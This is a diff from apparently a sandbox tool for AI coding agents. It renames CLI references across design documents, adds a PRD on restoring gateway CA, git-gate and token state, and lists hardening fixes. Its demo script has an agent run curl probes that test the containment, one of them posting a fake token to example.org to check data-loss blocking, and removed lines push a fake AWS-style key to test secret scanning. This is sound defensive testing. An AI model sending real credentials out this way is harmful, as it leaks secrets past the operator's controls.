+# There is deliberately no git/gitleaks probe. It used to be probe 4,
+# pushing an AKIA-shaped key to the git-gate to watch gitleaks reject
+# the ref in pre-receive. In the last recording gitleaks reported `no
+# leaks found` and the gate forwarded the push; it failed only because
+# `upstream.invalid` does not resolve. A GIF of that reads as "the gate
+# caught the secret" while showing the opposite, so the probe is out
+# until issue #541 settles whether that is a real detection gap.
+#
+# The probes are spelled as literal shell commands rather than English
+# because the agent's discretion is the single biggest source of
+# recording flake. One take had it substitute a placeholder
+# `ghp_FAKE...` for $FAKE_TOKEN, so the DLP scanner had nothing to
+# match and the control reported a clean pass it never earned.
+# $FAKE_TOKEN stays unexpanded here on purpose: the bottle's own shell
+# expands it inside the sandbox, which is what makes probe 3 a real
+# egress test.
+Type `bot-bottle start demo --headless --prompt 'Run these three commands with the Bash tool, exactly as written, and report each result in one line, quoting the refusal text returned by the proxy verbatim. Do not substitute placeholders for any value. (1) echo hello; (2) curl --proxy "$HTTPS_PROXY" -s -w " [%{http_code}]" http://example.com/; (3) curl --proxy "$HTTPS_PROXY" -s -w " [%{http_code}]" -d "token=$FAKE_TOKEN" http://example.org/dlp-probe'`
 Enter

-# Wait for the bottle to launch: networks created, pipelock + git-gate
-# companion containers started, agent container started, claude boots.
-Sleep 22s
+# Wait for the bottle to launch (networks, the gateway container with
+# egress proxy + git gate + supervise, the agent container, claude
+# booting) and then run all four probes to completion. Sized for four
+# tool-using turns; mpdecimate strips whatever dead time is left over.
+Sleep 110s

-# Probe 1 — warm-up. A reply at all proves api.anthropic.com is
-# reachable through pipelock end-to-end: bumped TLS handshake, DLP
-# scan, and forward all succeed.
-Type "hello there"
-Enter
-Sleep 10s
-
-# Probe 2 — non-allowlisted host. Pipelock's host filter refuses to
-# forward example.com; the agent runs curl via Bash and reports the
-# 403 it sees. The bottle prompt frames this as a proxy-behavior
-# probe so claude doesn't second-guess the request.
-Type "GET http://example.com via curl — what status does the proxy give back?"
-Enter
-Sleep 18s
-
-# Probe 3 — allowlisted host BUT a credential-shaped body. The
-# bottle's FAKE_TOKEN env var is a ghp_-prefixed synthetic. The host
-# check passes; pipelock's DLP body scanner has to catch it.
-Type `POST "token=$FAKE_TOKEN" to http://api.anthropic.com/dlp-probe via curl — what does the proxy do?`
-Enter
-Sleep 20s
-
-# Probe 4 — commit an AKIA-shaped key and push to the declared
-# upstream. The bottle's ~/.gitconfig rewrites the URL to the
-# git-gate via `insteadOf`, so the push lands at the gate, gitleaks
-# runs in pre-receive, and the ref is rejected before the gate
-# would forward upstream.
-Type "init /tmp/r, commit AKIAQRJHK7N5ZPM2VXTL to leak.txt, push to ssh://git@upstream.invalid/path.git main — does the gate let it through?"
-Enter
-Sleep 30s
-
-# Leave claude. The launcher tears down the container, companion containers, and
-# networks on session end.
+# Headless exits on its own once the prompt is answered; Ctrl+D just
+# closes the recording shell. The launcher tears down the container,
+# companion containers, and networks on session end.
 Ctrl+D
 Sleep 4s
@@ -132,7 +132,7 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`:
  can revisit, but the v1 of this PRD is one file = one bottle.

 - **Hot-reload.** Changes to manifest files take effect at next
-  `./cli.py start`; we do not watch the directory.
+  `bot-bottle start`; we do not watch the directory.

 ## Scope

@@ -290,7 +290,7 @@ After this PRD:

 ### Cleanup CLI

-`./cli.py cleanup` switches from "list every container with prefix
+`bot-bottle cleanup` switches from "list every container with prefix
 `bot-bottle-` and every network with prefix `bot-bottle-net-`
 or `bot-bottle-egress-`" to:

@@ -369,7 +369,7 @@ Sized for one PR each, in order.
   `docker compose up -d` + attach + teardown. Per-sidecar `start()`/
   `stop()` lifecycle methods deleted in the same chunk. Compose-
   log dump on teardown added.
-4. **Cleanup CLI on compose.** Switch `./cli.py cleanup` to
+4. **Cleanup CLI on compose.** Switch `bot-bottle cleanup` to
   `docker compose ls`-based discovery; keep prefix-scan as
   fallback for one release.
 5. **Dashboard.** Decide on the discovery question (open question
@@ -37,7 +37,7 @@ Two rough edges in the current dashboard:
   shows only pending proposals. If no agent has called a tool,
   the screen reads "no pending proposals" — even when five
   bottles are quietly working. The operator has to `docker
-   compose ls` (or `./cli.py cleanup -n` to see the y/N preview)
+   compose ls` (or `bot-bottle cleanup -n` to see the y/N preview)
   to find out what's actually live.

 2. **`e` / `p` re-discover-and-disambiguate every invocation.**
@@ -82,12 +82,12 @@ the "operator wants to make an unprompted change" case.
  global across bottles. Filtering ("show me only this agent's
  proposals") might be a follow-up but isn't this PRD.
 - **Agent lifecycle from the dashboard.** Starting / stopping
-  agents stays in `./cli.py start` / `./cli.py cleanup`. The
+  agents stays in `bot-bottle start` / `bot-bottle cleanup`. The
  dashboard reads state; it doesn't change it.
 - **Preserved-but-not-running bottles.** The active-agents list
  is strictly "what's running now" (cross-referenced from
  `docker compose ls`). Preserved state dirs without a live
-  project don't appear — `./cli.py resume <identity>` is the
+  project don't appear — `bot-bottle resume <identity>` is the
  path for those.
 - **A separate per-agent detail view.** The agent rows are
  one-line summaries. Pressing Enter on a proposal still drops
@@ -125,7 +125,7 @@ the "operator wants to make an unprompted change" case.
 - Changes to proposal handling (`a` / `m` / `r` / Enter all
  unchanged).
 - Changes to the queue-dir / supervise sidecar protocol.
- New CLI surface beyond what's in `./cli.py dashboard`.
+- New CLI surface beyond what's in `bot-bottle dashboard`.
 - Touching the manifest, compose renderer, launch lifecycle.

 ## Proposed design
@@ -14,8 +14,8 @@
 Today the dashboard is read-only: it surfaces pending proposals
 and active agents (PRD 0019) but can't *start* an agent or
 *re-enter* one. The operator's path is split — they launch
-agents from one terminal (`./cli.py start <name>`), and watch
-them from another (`./cli.py dashboard`).
+agents from one terminal (`bot-bottle start <name>`), and watch
+them from another (`bot-bottle dashboard`).

 This PRD collapses that split. The dashboard becomes the
 operator's single surface: pressing a key opens an agent picker,
@@ -31,7 +31,7 @@ claude session AND the dashboard process. Exit claude → back to
 dashboard, bottle still running. Start another agent → two
 bottles up at once. Quit the dashboard → bottles continue
 running. Teardown is **always explicit**: the operator presses
-`x` on an agent, or runs `./cli.py cleanup` later.
+`x` on an agent, or runs `bot-bottle cleanup` later.

 ## Problem

@@ -45,7 +45,7 @@ Two real frictions today:
   open and the dashboard's "active agents" pane is hopelessly
   behind reality because they just spawned three in a row.

-2. **`./cli.py start` ties the bottle to a single claude
+2. **`bot-bottle start` ties the bottle to a single claude
   session.** The start command's `ExitStack` brings the bottle
   up, runs claude, and tears down on Ctrl-D — fine for a one-
   shot session, wrong for "let me bounce in and out of this
@@ -60,7 +60,7 @@ captures full-merged logs per bottle (PRD 0018). It already

 ## Goals / Success Criteria

-1. From inside `./cli.py dashboard`, pressing `n` (new) opens
+1. From inside `bot-bottle dashboard`, pressing `n` (new) opens
   an agent picker listing every agent defined in the manifest.
   Selecting one runs `prepare → preflight → launch`.
 2. The preflight Y/N summary renders cleanly — either as a
@@ -83,7 +83,7 @@ captures full-merged logs per bottle (PRD 0018). It already
   state cleanup) without quitting the dashboard.
 7. Quitting the dashboard (`q`) leaves every running bottle
   running. Bottle teardown is always explicit (per-bottle `x`
-   or `./cli.py cleanup`). The next `./cli.py dashboard`
+   or `bot-bottle cleanup`). The next `bot-bottle dashboard`
   invocation re-discovers them via `list_active_slugs()` and
   surfaces re-attach for any it can reconstruct context for
   (see "Cross-dashboard re-attach" below).
@@ -94,13 +94,13 @@ captures full-merged logs per bottle (PRD 0018). It already
  embedded-emulator option from the research doc is out of
  scope. The handoff (option 1) is the v1; option 2 is a
  separate PRD if and when handoff is observably insufficient.
- **Adopting bottles started by an out-of-dashboard `./cli.py
+- **Adopting bottles started by an out-of-dashboard `bot-bottle
  start` invocation.** Those have their own ExitStack-owner and
  the dashboard treats them as read-only-watch (already does
  today). Re-attach only applies to bottles the *current
  dashboard process* started.
 - **Resurrecting an out-of-process bottle into a new dashboard
-  with full re-attach.** A bottle started by `./cli.py start`
+  with full re-attach.** A bottle started by `bot-bottle start`
  in another terminal — or by a previous dashboard run, now
  exited — appears in the agents pane (already does, PRD 0019)
  and can be re-attached via `docker exec -it claude` because
@@ -109,12 +109,12 @@ captures full-merged logs per bottle (PRD 0018). It already
  context object to drive teardown — e.g., the
  ExitStack-tracked CA + state cleanup `_settle_state` performs
  today. Cross-dashboard re-attach uses the existing
-  `./cli.py cleanup` for teardown, not an `x` keypress (see
+  `bot-bottle cleanup` for teardown, not an `x` keypress (see
  open questions).
 - **Multi-window UI.** Single curses window, two existing
  panes (proposals + agents); the agent picker is a modal, not
  a third pane.
- **Removing `./cli.py start`.** Stays as the script-friendly /
+- **Removing `bot-bottle start`.** Stays as the script-friendly /
  legacy entry point. The dashboard is the new default.

 ## Scope
@@ -140,7 +140,7 @@ captures full-merged logs per bottle (PRD 0018). It already

 ### Out of scope

- Changes to `./cli.py start` itself. It keeps its current
+- Changes to `bot-bottle start` itself. It keeps its current
  shape; the dashboard reuses its internal pieces (backend.
  prepare / backend.launch) without reaching through the CLI
  layer.
@@ -157,7 +157,7 @@ captures full-merged logs per bottle (PRD 0018). It already
 Today's flow:

 ```
-./cli.py start agent
+bot-bottle start agent
  └─ with backend.launch(plan) as bottle:        ← bottle alive while inside `with`
       bottle.exec_agent([...], tty=True)       ← blocks until claude exits
     # context exits → compose down → state cleanup
@@ -166,7 +166,7 @@ Today's flow:
 The proposed dashboard-driven flow:

 ```
-./cli.py dashboard
+bot-bottle dashboard
  └─ bottles: dict[str, tuple[ContextManager, DockerBottle]] = {}

     # operator presses `n`, picks agent
@@ -205,7 +205,7 @@ Two shifts:
   evaluation, state-dir reap) doesn't fire on a quit-while-
   running bottle. It DOES fire when the operator explicitly
   stops via `x`, because that calls `cm.__exit__`. For
-   bottles a previous dashboard quit on, `./cli.py cleanup`
+   bottles a previous dashboard quit on, `bot-bottle cleanup`
   is the path — its compose-down + state-reap logic
   already covers the case.

@@ -213,7 +213,7 @@ Two shifts:

 When the dashboard discovers a bottle in `discover_active_agents`
 that it didn't itself start (a previous-dashboard or external
-`./cli.py start` bottle), Enter still attaches via `docker exec
+`bot-bottle start` bottle), Enter still attaches via `docker exec
 -it … claude` — the agent container is running `sleep infinity`
 exactly the same way regardless of who started it. The only
 thing the current dashboard lacks for those bottles is the
@@ -221,8 +221,8 @@ launch-context object needed to drive a clean teardown via
 `x`.

 For v1 we surface this honestly: pressing `x` on a non-owned
-agent shows a status hint pointing at `./cli.py cleanup` (or
-`./cli.py cleanup` targeted at the slug if we add that flag
+agent shows a status hint pointing at `bot-bottle cleanup` (or
+`bot-bottle cleanup` targeted at the slug if we add that flag
 later). The agent stays alive; the operator handles teardown
 out-of-band. Enter (re-attach) works for both owned and
 non-owned bottles.
@@ -288,7 +288,7 @@ agents pane.

 `x` on a non-owned agent (discovered via `list_active_slugs`
 but not in `bottles` dict): no-op with status hint pointing
-at `./cli.py cleanup` (the existing path that tears down
+at `bot-bottle cleanup` (the existing path that tears down
 ANY bot-bottle compose project plus reaps state dirs).

 ### Dashboard quit
@@ -300,7 +300,7 @@ the `docker compose` project keeps running. The next dashboard
 invocation discovers the bottles via `list_active_slugs` and
 surfaces re-attach.

-This is a real departure from today's `./cli.py start`
+This is a real departure from today's `bot-bottle start`
 semantics (which couples bottle lifetime to the process via
 ExitStack). It's intentional: the dashboard is a watching +
 acting surface, not a lifetime owner.
@@ -322,7 +322,7 @@ Sized for one PR each.
   dashboard's ExitStack; handoff invokes `attach_agent`.
 3. **Re-attach via Enter on owned agents-pane row.** Looks up
   the slug in the dashboard's `bottles` map; if present →
-   handoff; else → status-line hint pointing at `./cli.py
+   handoff; else → status-line hint pointing at `bot-bottle
   resume`.
 4. **Explicit per-bottle stop (`x` keybinding).** Pop the
   bottle's `close` callback off the stack, call it, refresh.
@@ -369,7 +369,7 @@ Sized for one PR each.
   bottles dict goes out of scope without invoking `__exit__`,
   so the `docker compose` projects keep running. Bottle
   teardown is always explicit: per-bottle `x` (for
-   dashboard-owned), or `./cli.py cleanup` (for everything).
+   dashboard-owned), or `bot-bottle cleanup` (for everything).

 ## Open questions

@@ -46,7 +46,7 @@ window, two panes, no terminal handoff.

 ## Goals / Success Criteria

-1. When the operator runs `./cli.py dashboard` from inside a
+1. When the operator runs `bot-bottle dashboard` from inside a
   tmux session (`$TMUX` set), the dashboard establishes a
   two-pane layout: dashboard in the left pane, an initially-
   empty right pane reserved for claude sessions.
@@ -313,7 +313,7 @@ Sized small.
 3. **Dashboard launched OUTSIDE tmux but tmux is installed.**
   Should the dashboard auto-exec itself inside a fresh tmux
   session to get the split-pane experience? Convenient but
-   surprising (`./cli.py dashboard` shouldn't silently
+   surprising (`bot-bottle dashboard` shouldn't silently
   change what session you're in). v1 leaves this off —
   operators who want split-pane mode start tmux themselves
   and then run the dashboard.
@@ -332,7 +332,7 @@ Sized small.
   PRD-0019 focus indicator?

 6. **Concurrent dashboards in different tmux windows.**
-   Multiple `./cli.py dashboard` invocations in different
+   Multiple `bot-bottle dashboard` invocations in different
   tmux windows would each create their own right pane —
   probably fine, each has its own state, but worth
   verifying that `tmux list-panes` is scoped to the right
@@ -14,7 +14,7 @@ Today bot-bottle is hard-wired around Claude Code assumptions. When Claude runs

 ## Goals / Success Criteria

- A Codex agent can be started from the dashboard and via `./cli.py start` alongside a Claude agent.
+- A Codex agent can be started from the dashboard and via `bot-bottle start` alongside a Claude agent.
 - The manifest can express the agent provider/template and, where needed, a custom agent Dockerfile.
 - Claude-specific default egress/auth behavior is no longer implicit; provider-specific auth is expressed through explicit bottle egress routes and roles.
 - The launcher preserves required infrastructure behavior for sidecars, egress, pipelock, supervisor MCP, CA handling, git, and shell basics.
@@ -30,7 +30,7 @@ across every bottle spin-up. This has several consequences:
  to grant that access.
 - **Manual rotation burden.** Operators must manage key files on disk, keeping
  them secure, rotating them on a schedule, and distributing them across hosts
-  that run `./cli.py start`.
+  that run `bot-bottle start`.

 ## Goals / Success Criteria

@@ -6,7 +6,7 @@

 ## Summary

-The `./cli.py dashboard` command has grown from its PRD 0013 roots
+The `bot-bottle dashboard` command has grown from its PRD 0013 roots
 (triage supervise proposals) into a parallel-agent control surface
 (PRDs 0019/0020/0021): an active-agents pane, agent picker + start,
 re-attach, per-bottle stop, tmux split-pane handoff, operator-
@@ -21,7 +21,7 @@ proposals, approve / modify / reject each one, write audit entries,
 deliver the response that unblocks the agent's tool call. Everything
 that's about *starting / re-entering / stopping* bottles, or about
 *operator-initiated* config edits, comes out. The command is renamed
-`./cli.py supervise` so the name matches what it does after the cut.
+`bot-bottle supervise` so the name matches what it does after the cut.

 Future agent-management UX is explicitly punted: if and when a
 control surface for parallel agents resurfaces, the working
@@ -41,9 +41,9 @@ Three concrete pains, all downstream of the dashboard's growth:
  ExitStack-free bottle ownership are intricate enough that
  shipping the next polish increment costs more than it returns.
 2. **No clear ownership of "starts and stops bottles".** Today
-  that responsibility is split: `./cli.py start` owns one-shot
+  that responsibility is split: `bot-bottle start` owns one-shot
  sessions; the dashboard owns multi-session bottles it started
-  itself; `./cli.py cleanup` owns everything else. The dashboard
+  itself; `bot-bottle cleanup` owns everything else. The dashboard
  tracking its own `bottles: dict[str, (cm, bottle, identity)]`
  that doesn't survive a quit is a confusing third lane.
 3. **Wrong target shape for a "manage many agents" UI.** The
@@ -97,12 +97,12 @@ problem is everything that got bolted onto that core after.
  dashboard. After this PRD they don't exist anywhere — operators
  who need ad-hoc edits use the same path the agents do (call the
  supervise tool from inside the bottle) or hand-edit the host-
-  side files and restart the sidecar. Adding a `./cli.py routes
+  side files and restart the sidecar. Adding a `bot-bottle routes
  edit <slug>` verb is a follow-up if the loss bites.
- **Removing `./cli.py start` or changing its semantics.** Start
+- **Removing `bot-bottle start` or changing its semantics.** Start
  remains the one-shot launch path. PRD 0020's bottle-outlives-
  process model is removed; the only path to a long-running
-  bottle is `./cli.py start` (foreground) plus `cli.py cleanup`
+  bottle is `bot-bottle start` (foreground) plus `cli.py cleanup`
  for teardown.
 - **Removing the supervise-sidecar protocol or any of the three
  block-remediation engines.** PRDs 0013–0016 stay Active. The
@@ -122,8 +122,8 @@ problem is everything that got bolted onto that core after.

 ### In scope

- **Rename the subcommand.** `./cli.py dashboard` becomes
-  `./cli.py supervise`. The module moves from `bot_bottle/cli/
+- **Rename the subcommand.** `bot-bottle dashboard` becomes
+  `bot-bottle supervise`. The module moves from `bot_bottle/cli/
  dashboard.py` to `bot_bottle/cli/supervise.py`. The dispatcher
  in `bot_bottle/cli/__init__.py` and the help text both update.
 - **Strip the curses loop to proposal-only.** The remaining
@@ -167,7 +167,7 @@ problem is everything that got bolted onto that core after.

 - Any new feature in the supervise TUI. The cut is purely
  subtractive (except for the rename).
- Behavior changes in `./cli.py start`, `cli.py cleanup`,
+- Behavior changes in `bot-bottle start`, `cli.py cleanup`,
  `cli.py resume`, `cli.py list`, `cli.py info`, `cli.py edit`,
  `cli.py init` — unchanged.
 - Changes to the supervise sidecar (`supervise_server.py`,
@@ -181,7 +181,7 @@ problem is everything that got bolted onto that core after.

 ### Final shape of the TUI

-After this PRD the `./cli.py supervise` curses surface is:
+After this PRD the `bot-bottle supervise` curses surface is:

 ```
 bot-bottle supervise  (3 pending)
@@ -307,8 +307,8 @@ The PR closes issue #174.

 1. **`e` / `p` operator-initiated edits — gone for good or
  moved to a separate CLI verb?** The PRD removes them with no
-  replacement. The simplest replacement is `./cli.py routes
-  edit <slug>` and `./cli.py pipelock edit <slug>`, sharing
+  replacement. The simplest replacement is `bot-bottle routes
+  edit <slug>` and `bot-bottle pipelock edit <slug>`, sharing
  the existing `apply_routes_change` / `apply_allowlist_change`
  engines. If the loss is felt within the first parallel
  run after this lands, that follow-up is a small PR. Leaving
@@ -7,12 +7,12 @@

 ## Summary

-When `./cli.py start` is run without an agent name, or without a backend
+When `bot-bottle start` is run without an agent name, or without a backend
 explicitly specified, the user currently gets an argparse error (missing
 positional) or falls through to the `docker` default silently. This PRD
 adds a terminal UI that appears in those gaps: a filter-select screen
 built with `curses` that lets the operator pick the agent and/or backend
-interactively rather than memorising names or consulting `./cli.py list`.
+interactively rather than memorising names or consulting `bot-bottle list`.

 ## Problem

@@ -29,15 +29,15 @@ visible.

 ## Goals / Success Criteria

-1. `./cli.py start` (no arguments) shows an interactive agent selector;
+1. `bot-bottle start` (no arguments) shows an interactive agent selector;
   the selected name is used exactly as if it had been passed on the
   command line.
-2. `./cli.py start <name>` (no `--backend`, no `BOT_BOTTLE_BACKEND`)
+2. `bot-bottle start <name>` (no `--backend`, no `BOT_BOTTLE_BACKEND`)
   shows an interactive backend selector; the selected backend is used
   exactly as if `--backend=<selected>` had been passed.
-3. `./cli.py start <name> --backend=<b>` (both explicit) shows neither
+3. `bot-bottle start <name> --backend=<b>` (both explicit) shows neither
   screen — no behavioural change from today.
-4. `./cli.py start` (no arguments, no env backend) shows the agent
+4. `bot-bottle start` (no arguments, no env backend) shows the agent
   selector first, then the backend selector.
 5. The filter-select widget is a standalone utility
   (`bot_bottle/cli/tui.py`) shared by both selectors.
@@ -57,7 +57,7 @@ visible.
 - No pagination beyond what fits in the terminal window (scroll via
  cursor movement is sufficient for typical agent counts).
 - No multi-select; exactly one item is chosen per invocation.
- No changes to `./cli.py resume`, `./cli.py list`, or any other
+- No changes to `bot-bottle resume`, `bot-bottle list`, or any other
  subcommand.

 ## Design
@@ -83,7 +83,7 @@ def filter_select(

 The widget renders to the tty file descriptor opened via `curses.initscr`
 (or `curses.newterm` on the tty fd so stdout remains clean for callers
-that pipe `./cli.py`).
+that pipe `bot-bottle`).

 Layout (full-width, minimal):

@@ -140,7 +140,7 @@ agent picker can populate itself from the real manifest. The same
 `filter_select` opens `/dev/tty` and feeds it as the input file to
 `curses.wrapper`-equivalent code (using `curses.newterm` to avoid
 clobbering the caller's stdout/stderr). This keeps the picker
-composable — callers can pipe `./cli.py` output without the curses
+composable — callers can pipe `bot-bottle` output without the curses
 draw sequences contaminating the pipe.

 ## Implementation chunks
@@ -30,12 +30,12 @@ snapshot before a planned host reboot or hardware migration.

 ## Goals / Success Criteria

- `./cli.py commit [<slug>]` takes a snapshot of the running agent and
+- `bot-bottle commit [<slug>]` takes a snapshot of the running agent and
  stores it as a local artifact.
 - Without a slug argument the command shows the same interactive picker
  as `start` (the list of active slugs).
 - The committed artifact reference is stored in per-bottle state so
-  that the next `./cli.py resume <slug>` automatically uses the
+  that the next `bot-bottle resume <slug>` automatically uses the
  snapshot instead of rebuilding from the Dockerfile.
 - `mark_preserved` is called so the state dir survives the normal
  session-end cleanup.
@@ -81,7 +81,7 @@ to the committed `.smolmachine` artifact.
 ### `commit` command

 ```
-./cli.py commit [<slug>]
+bot-bottle commit [<slug>]
 ```

 1. Resolve slug (arg or interactive picker from `enumerate_active_agents`).
@@ -37,7 +37,7 @@ egress policy), the operator must duplicate the agent file and change the
   selection order, as the effective bottle for the session.
 5. Confirming with an empty selection falls back to the agent's `bottle:` field.
   If neither is set, a ManifestError is raised pointing the operator at the fix.
-6. The ordered bottle list is stored in launch metadata so `./cli.py resume`
+6. The ordered bottle list is stored in launch metadata so `bot-bottle resume`
   uses the same bottles.
 7. The preflight summary (`y/N` screen) shows the effective bottle name(s).
 8. The multi-select picker supports incremental filtering, Space/Enter to toggle
@@ -52,7 +52,7 @@ egress policy), the operator must duplicate the agent file and change the
 - Reordering the selection list from within the picker (order = insertion order;
  drag-and-drop is out of scope).
 - Storing bottle selection history / MRU.
- Changes to `./cli.py edit`, `./cli.py list`, or `./cli.py info`.
+- Changes to `bot-bottle edit`, `bot-bottle list`, or `bot-bottle info`.
 - Removing the `bottle:` key from the agent schema (it stays, now optional).

 ## Design
@@ -74,7 +74,7 @@ macOS-only for v1. Three concrete blockers:

 ## Goals / Success Criteria

- `BOT_BOTTLE_BACKEND=smolmachines ./cli.py start <agent>` launches,
+- `BOT_BOTTLE_BACKEND=smolmachines bot-bottle start <agent>` launches,
  runs, and tears down a bottle on a Linux host with `/dev/kvm`.
 - The TSI allowlist is enforced on Linux: PRD 0022's
  `tests/integration/test_sandbox_escape.py` passes against
@@ -39,7 +39,7 @@ end-to-end runner that would catch the *next* macOS-only launch regression.)
 PR #470 (#414) already made the integration suite backend-agnostic:
 `skip_unless_selected_backend_available()` gates on the *selected* backend's
 own `is_backend_ready()` rather than `docker_available()`, and each
-integration job runs `./cli.py backend status --backend=<name>` as a preflight
+integration job runs `bot-bottle backend status --backend=<name>` as a preflight
 that fails loudly when the backend is missing. That is the machinery this job
 plugs into; this PRD supplies the runner and the job.

@@ -98,7 +98,7 @@ Modeled on `integration-firecracker`:
 - `concurrency: { group: integration-macos-infra, cancel-in-progress: false }`
  to serialize runs against the singleton.
 - **Preflight** — `command -v container`, `container system status`, then
-  `./cli.py backend status --backend=macos-container`; any failure exits
+  `bot-bottle backend status --backend=macos-container`; any failure exits
  non-zero so a misprovisioned runner fails loudly instead of silently
  skipping.
 - Run the integration suite under coverage with
@@ -16,7 +16,7 @@ verifies host prerequisites after install.
 ## Problem

 There is currently no install path for new users. The only way to run
-bot-bottle is to clone the repo and invoke `./cli.py`. This blocks any
+bot-bottle is to clone the repo and invoke `bot-bottle`. This blocks any
 public demo: readers want `curl | sh` or `pipx install`, not a manual
 clone-and-configure flow. There is also no single command that tells a
 user whether their host is actually ready to run a bottle.
@@ -0,0 +1,117 @@
+# PRD 0081: Reprovision gateway-dependent state on gateway bring-up
+
+- **Status:** Active
+- **Author:** claude
+- **Created:** 2026-07-26
+- **Issue:** #516
+
+## Summary
+
+When the gateway is (re)built, reconcile every already-running bottle against the
+fresh gateway instead of persisting the gateway's state. On a gateway cold boot,
+the gateway reconciles all live bottles in one flow: **replace** each agent's
+trusted CA with the freshly-minted gateway CA, **re-provision** each bottle's
+git-gate repos + creds onto the gateway, and **restore** each bottle's egress
+tokens. One mechanism across all three services; the CA rotates for free on every
+bring-up.
+
+## Problem
+
+A gateway rebuild/restart silently breaks every already-running bottle:
+
+- **CA (#510).** The gateway's mitmproxy mints a new CA on a fresh rootfs; agents
+  still trust the old one, so egress fails TLS verification (`SSL certificate
+  verification failed`).
+- **git-gate (#512).** Per-bottle bare repos (`/git/<id>`) + deploy creds
+  (`/git-gate/creds/<id>`) live in the gateway's ephemeral rootfs; a rebuild wipes
+  them and the agent 404s on fetch/push.
+
+Both are the same root cause: per-bottle gateway-dependent state is provisioned
+**once, at bottle launch**, and nothing restores it for already-running bottles
+when the gateway comes back. The existing launch-time reprovision
+(`reprovision_bottles`) restores **only** egress tokens, and only as a side effect
+of the *next* launch.
+
+Persisting the state (a host bind-mount / a per-VM data volume per service) was
+prototyped and rejected: it differs per service (a volume for the CA, another for
+git-gate, reprovision for tokens), it pins the CA static forever (no rotation),
+and it adds volume surface that `docker volume prune` / a wiped cache can silently
+destroy (the original #450 failure mode).
+
+## Goals / Success Criteria
+
+- A gateway (re)boot restores **all** running bottles' gateway-dependent state
+  with no manual step and no relaunch — the agent's next egress / fetch / push
+  just works.
+- **One** reconcile flow covering CA, git-gate, and egress tokens, rather than a
+  different mechanism per service.
+- The CA **rotates** on every gateway bring-up (no long-lived CA), distributed to
+  running agents by the same reconcile.
+- Per-bottle failures are tolerated: one unreachable or malformed bottle does not
+  block the others or the gateway coming up.
+- **All backends** (Firecracker, docker, macOS) reconcile through the *same*
+  contract — an abstract method on the backend base class, so a new backend
+  cannot forget to implement it and none drifts onto a bespoke mechanism.
+
+## Non-goals
+
+- Deliberate mid-session CA rotation *without* a gateway restart — `rotate_ca`
+  stays for that operator action.
+- Changing source-IP attribution, `/resolve`, or the plane split (#469).
+
+## Design
+
+**The contract — `attach_bottled_agents_to_gateway()` on the backend ABC.**
+Reconciling running bottles against the current gateway is a backend
+responsibility (only the backend can enumerate its agents and reach them —
+firecracker over SSH, docker/macOS over `exec`/`cp`), so it is an
+`@abc.abstractmethod` on `BottleBackend` (`backend/base.py`). Every backend
+implements it; the host calls it whenever the gateway is (re)brought up. This is
+what makes the fix cross-backend by construction rather than a per-backend
+follow-up. It reprovisions **all** registered bottles' gateway-dependent state:
+CA, git-gate, and egress tokens.
+
+**Trigger — the gateway bring-up path.** The host calls
+`attach_bottled_agents_to_gateway()` only when the gateway was actually
+(re)brought up — the cold-boot branch of the infra bring-up (e.g.
+`FirecrackerInfraService.ensure_running` after it boots a fresh pair), never on an
+adopt of a healthy, current gateway (state intact). So it fires exactly when the
+gateway was (re)booted — including orchestrator restarts, since the pair boots
+together — and there is no bare-restart path that bypasses bring-up.
+
+**Per-backend implementation.** Each backend's `attach_bottled_agents_to_gateway`
+enumerates its live bottles and, for each, reconciles the three services against
+the current gateway. The firecracker implementation, once the gateway VM is up
+and its CA is available:
+
+1. Map each live bottle's guest IP → `bottle_id` from the orchestrator registry
+   (`list_bottles`).
+2. Install the **current** shared git-gate hooks (`git_gate_render_hook` /
+   `git_gate_render_access_hook`) into the fresh gateway once — rendered from
+   code, never from a bottle's possibly-stale state dir.
+3. For each live agent VM (enumerated from its run dir):
+   - **CA:** SSH the current gateway CA into the agent's trust store and run
+     `update-ca-certificates` (unconditional replace — there is one gateway, so no
+     fingerprint match is needed).
+   - **git-gate:** rebuild the bottle's upstreams from its persisted git-gate
+     state dir (deploy key, known_hosts, upstream URL) and re-init its bare repos
+     + per-repo creds under `/git/<bottle_id>`.
+   - **egress token:** read the agent's `ENV_VAR_SECRET` and feed
+     `reprovision_bottles`, restoring the orchestrator's in-memory tokens.
+4. Every per-bottle step is wrapped so one failure is logged and skipped.
+
+**Retire the persistence prototype.** No CA data volume, no git-gate data volume
+(the abandoned PRs #511 / #513). The launch-time `_reprovision_running_bottles`
+call folds into this bring-up reconcile, so egress tokens are restored on the same
+cold-boot trigger (an adopt needs no restore — the orchestrator never restarted).
+
+**CA rotation.** Because the gateway rootfs is ephemeral, every cold boot mints a
+fresh CA; reconcile is what distributes it, so a routine gateway rebuild doubles
+as a CA rotation with zero extra machinery.
+
+## Open questions
+
+- Docker's existing host-bind-mounted CA (`host_gateway_ca_dir`): once docker's
+  `attach_bottled_agents_to_gateway` pushes the CA to running agents on bring-up,
+  the bind-mount is redundant — drop it (so docker rotates like firecracker) or
+  keep it as belt-and-suspenders? Leaning drop, for one behaviour across backends.
@@ -13,7 +13,9 @@ resource-consuming boundary revalidate the assumptions it acts on. This
 finishes the focused quality work begun under #444 without broad rewrites:
 cleanup cannot act on stale identities, policy introspection cannot publish a
 fabricated empty policy, gateway servers bound untrusted work, and daemon
-shutdown does not emit uncaught background-thread failures.
+shutdown does not emit uncaught background-thread failures. Shared
+control-plane storage and gateway credential provisioning also enforce their
+filesystem security contract before sensitive data is written.

 ## Problem

@@ -36,6 +38,27 @@ misleading behavior:
   destructive plan.
 5. Gateway log-pump threads race stream closure during shutdown and emit
   uncaught exceptions even when shutdown otherwise succeeds.
+6. Firecracker discovers VMs through whitespace-split `pgrep -a` output.
+   A configured cache path containing spaces can hide a live VM from the
+   snapshot and make its run directory appear orphaned.
+7. Docker cleanup asks compose for its project snapshot in best-effort mode.
+   A transient query failure can therefore become an empty stopped-project
+   set and authorize deletion of associated state directories.
+8. Firecracker artifact downloads and registry publication have no network
+   deadline, so an unresponsive registry can hold setup or release work
+   indefinitely.
+9. Authenticated secret blobs select the unauthenticated legacy decoder when
+   their in-band version prefix is changed, allowing storage tampering to
+   bypass tag verification.
+10. Cleanup executes the entire post-confirmation snapshot rather than the
+    intersection with what the operator saw, and mutation failures are not
+    reflected in the command result.
+11. Git smart-HTTP can retain sixteen 100 MiB request bodies concurrently,
+    cleanup mutations have no subprocess deadline, and Firecracker signalling
+    failures bypass shared mutation accounting.
+12. SQLite creates the shared control-plane database before its mode is
+    restricted, then suppresses permission-repair failures. Gateway transports
+    also differ in whether copied deploy-key modes are preserved.

 These are one design problem: state used to authorize deletion, replacement,
